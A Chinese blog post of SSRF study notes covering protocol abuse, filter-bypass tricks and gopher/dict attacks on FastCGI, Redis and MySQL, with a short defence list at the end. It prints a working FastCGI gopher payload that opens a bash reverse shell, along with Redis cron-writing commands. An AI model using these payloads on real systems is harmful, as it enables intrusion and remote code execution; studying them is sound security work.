前言

好久没更新博客了,最近也一直在挖洞、学习,但是懒得写博客,把前一阵写的笔记发出来更新一下博客。浏览了网络上大部分的文章,收集了各种tips,看了乌云漏洞库以及各种ctf题目,目的就是为了一个一个的把每一个漏洞学会吃透,从原理到深入,后续还会有其他学习笔记发出来记录在博客。希望会对看到的朋友有一些帮助,另外准备自己用docker实现一些漏洞环境并修补+bypass,有助于自己对漏洞的理解和防护,环境后期会发出来。(全程无图,我觉得挺好。)

SSRF

SSRF (Server-Side Request Forgrey) : 服务器端请求伪造,一般用来从外网探测或攻击内网服务。

产生条件

由于服务端提供了从其他服务器应用获取数据的功能且没有对用户可控的目标地址做过虑与限制。

在PHP中的curl(),file_get_contents(),fsockopen()等函数。

注:

file_get_contents 情况使用 gopher 协议不能 URLencode。

利用方式

  1. 可以对外网服务器所在内网/本地进行端口扫描,获取一些服务的banner信息。
  2. 攻击内网web应用(通过get传参就可以实现的攻击,如:st2,sqli等)。
  3. 利用file协议读取本地文件。
  4. 攻击fastcgi 反弹shell。
  5. 攻击redis、mysql等。(未授权访问)
  6. 攻击运行在内网或本地的应用程序(比如溢出)

URL协议支持

  1. SFTP
  2. FTP
  3. Dict
  4. gopher
  5. TFTP
  6. file
  7. ldap

一些协议的理解

gopher

Gopher wiki

互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。(可以模拟GET/POST请求,换行使用%0d%0a,空白行%0a)

1
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
1
$ curl gopher://localhost:2222/hello%0agopher
1
2
3
4
5
$ nc -lvvp 2222
listening on [any] 2222 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 34116
ello
gopher

通过nc回显可以发现,数据换行了, 然而 hello 只回显了 ello ,也就是说 h “被吃了”, 因此要在传输的数据前家一个无用字符

1
$ curl gopher://localhost:2222/_hello%0agopher
注:

注意如果在地址栏利用payload时要再进行一次url编码。

1
http://192.168.91.130/ssrf.php?url=gopher://localhost:2222/_hello%250agopher

Dict协议

字典服务器协议。dict是基于查询相应的TCP协议。服务器监听端口:2628。漏洞代码没有屏蔽回显的情况下,可以利用dict协议获取ssh等服务版本信息。

注:dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾 自动补上rn(CRLF)。

语法

dict 反弹redis shell。

pass

dict://ip:port/info 探测banner信息。

1
2
$ curl dict://localhost:22/info
SSH-2.0-OpenSSH_7.4

ldap协议

轻量目录访问协议。LDAP提供了静态数据的快速查询方式,LDAP协议是跨平台的Interent协议。

file 协议

本地文件传输协议,主要用于访问本地计算机中的文件。


一些bypass技巧

  1. 利用解析url绕过正则缺陷:
1
2
http://A.com@10.10.10.10
http://A.com:B@10.10.10.10

原理:

1
2
3
4
5
6
7
8
9
                    authority                       path
        ┌───────────────┴─────────────────┐      ┌────┴───┐
  abc://[username[:password]@](example.com)[:123]/path/data?key=value&key2=value2#fragid1
  └┬┘   └───────┬──────────┘ └────┬────┘   └──┬─┘           └─────────┬─────────┘ └──┬──┘
scheme  user information     host           port                  query         fragment

  urn:example:mammal:monotreme:echidna
  └┬┘ └──────────────┬───────────────┘
scheme              path
  1. 短网址
1
2
# 支持IP模式
http://tinyurl.com
  1. 各种IP地址的进制转换。
1
2
3
4
5
6
7
8
# 原ip为192.168.0.1
(1)、8进制格式:0300.0250.0.1

(2)、16进制格式:0xC0.0xA8.0.1

(3)、10进制整数格式:3232235521

(4)、16进制整数格式:0xC0A80001
  1. 省略模式 (linux环境下)
1
2
3
4
5
   127.1  => 127.0.0.1
   
   10.1 => 10.0.0.1
   0 or http://0/ => 0.0.0.0
   
  1. 利用Js跳转绕过ssrf
1
2
3
   # 百度某SSRF绕过限制可通内网(可shell) --wooyun案例
   http://www.anquan.us/static/bugs/wooyun-2015-0102331.html
   
  1. xip.io:

简介

利用

1
2
3
4
5
6
7
8
   ssrf.php?url=http://127.0.0.1.xip.io/
   or
   ssrf.php?url=http://www.127.0.0.1.xip.io/
   or
   ssrf.php?url=http://evi1.cn.127.0.0.1.xip.io/
   or
   ssrf.php?url=dict://evi1.cn.127.0.0.1.xip.io:22/info
   
  1. ceye平台(无法回显ssrf)

  2. 添加端口号

1
2
3
   #	内网编织者百度内网手动编织!  --wooyun案例
   http://www.anquan.us/static/bugs/wooyun-2014-061850.html
   
  1. 利用句号“。”
1
2
   127。0。0。1 => 127.0.0.1
   
  1. 利用 Enclosed alphanumerics
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
   ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
   List:
   ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
   ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
   ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
   ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
   Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
   ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
   ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
   ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
  1. DNS Rebinding

    看文章好了:freebuf ssrf绕过

    需要搭建一台自己的DNS解析服务器,绕过IP地址的验证。

  2. ipv6

    1
    2
    3
    
    利用[::]绕过localhost
    http://[::]:80/  >>>  http://127.0.0.1
        

一些实际利用

攻击fastcgi

p牛文章

简述

fastcgi默认监听端口为本机的9000端口,如果对外开放的话就有可能造成任意代码执行(具体看p牛文章介绍,讲的非常详细了)。但是一般情况不会对外开放的,所以此时需要配合gopher+ssrf加以利用。

1
2
3
4
5
条件:
libcurl版本>=7.45.0 (exp中存在%00,curl版本小于7.45.0,gopher的%00会被截断)
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径

payload生成

1. fpm.py

利用p牛给出的exp脚本本地测试如下:

1
2
3
4
5
[root@localhost ~]# python fpm.py 127.0.0.1 /usr/share/nginx/html/index.php -c "<?php echo `whoami`; exit();?>"
X-Powered-By: PHP/5.4.16
Content-type: text/html

root

生成gopher payload:

1
2
3
4
5
6
7
8
#本机监听
[root@localhost ~]# nc -lvvp 9999 > exp.txt
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

#本机执行
[root@localhost ~]# python fpm.py 127.0.0.1 /usr/share/nginx/html/index.php -c "<?php echo `whoami`; exit();?>" -p 9999

将流量打到9999端口并保存到本地后进行url编码

1
curl -v 'http://192.168.91.130/ssrf.php?url=gopher://127.0.0.1:9000/_urlencode(payload)'

2. gopherus.py

一个很好用的生成gopher exp的工具 Gopherus

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
[root@localhost Gopherus]# python gopherus.py --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:
Terminal command to run:  bash -i >& /dev/tcp/192.168.91.131/8888 0>&1

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH96%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%60%04%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/192.168.91.131/8888%200%3E%261%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

注意

payload在利用时需要再次进行url编码。


攻击redis

redis基础

REmote DIctionary Server(Redis) 是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

在linux下默认安装配置监听端口6379,且本地可无需密码访问数据库。

服务器命令

redis服务器命令

这里只需要了解SET 和 Config Set命令。

1
2
3
4
Redis SET命令:
  用于设置给定 key 的值。如果 key 已经存储其他值, SET 就覆写旧值,且无视类型。

redis 127.0.0.1:6379> SET KEY_NAME VALUE
1
2
3
4
Redis Config Set命令:
  可以动态地调整 Redis 服务器的配置(configuration)而无须重启。你可以使用它修改配置参数,或者改变 Redis 的持久化(Persistence)方式。
  
redis 127.0.0.1:6379> CONFIG Set parameter value 
1
2
3
4
5
6
7
8
[root@localhost ~]# redis-cli
127.0.0.1:6379> config get dir
1) "dir"
2) "/var/lib/redis"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
127.0.0.1:6379>

以上获取了redis数据库的默认配置信息。在以下的redis未授权访问利用中将修改默认路径及数据库文件名到定时任务目录。


未授权访问

redis因配置不当可以未授权访问。若9000端口对外开放,可导致攻击者无需认证访问数据库。默认安装时本地用户可无需认证直接访问数据库,因此配合gopher+ssrf可加以利用。

利用redis可实现的攻击

  1. 利用定时任务反弹shell(root权限运行)
  2. 写入ssh-keygen公钥(root权限运行)
  3. 写入webshell

ssrf+gopher攻击redis

一般情况不建议使用flushall命令。

1
2
#利用过程
获取bash对redis发出的访问请求,获取时利用socat端口转发,得到请求日志文件后再转化成适配Gopher协议的pyload,然后对redis进行攻击

1. gopherus.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#利用该工具直接生成payload。
[root@localhost Gopherus]# python gopherus.py --exploit redis                   

  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): PHPShell

Give web root location of server (default is /var/www/html): /usr/share/nginx/html
Give PHP Payload (We have default PHP Shell): <?php phpinfo(); ?>

2. 自己截获流量生成

看师傅的文章,这里不再复述。SSRF in PHP

ssrf+dict攻击redis

前面介绍协议的时候已经说了dict协议的用法,因此这里直接给出payload。

1
2
3
4
5
6
#redis执行 set x payload
dict://serverip:port/set❌payload
#redis执行 config set dir /var/spool/cron/
dict://serverip:port/config:set:dir:/var/spool/cron/
#redis执行 config set dbfilename root
dict://serverip:port/config:set:dbfilename:root

攻击mysql

这里不过多废话,产生问题的原因同样在与mysql服务某用户未授权访问。

分析文章看这里:SSRF To RCE in Mysql

payload生成除了文中方法可以使用gopherus.py及mysql_gopher_attack

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#gopherus.py
[root@localhost Gopherus]# python gopherus.py --exploit mysql


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: test
Give query to execute: test

Your gopher link is ready to do SSRF :
1
2
3
4
5
6
#mysql_gopher_attack readme

帮助生成gopher攻击mysql的payload
mysql协议实现了登录认证和执行sql
python exploit.py -u root -p "" -d "" -P "select now()" -v -c
可以连接本地数据库,dump packet查看协议细节

通用的SSRF实例

1
2
3
4
* weblogin配置不当,天生ssrf漏洞
* discuz x2.5/x3.0/x3.1/x3.2 ssrf漏洞
* CVE-2016-1897/8 - FFMpeg
* CVE-2016-3718 - ImageMagick

防御

  1. 限制协议为HTTP、HTTPS
  2. URL黑名单限制访问内网IP
  3. 禁止30x跳转
  4. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
  5. 限制请求的端口为http常用的端口,比如,80,443,8080,8090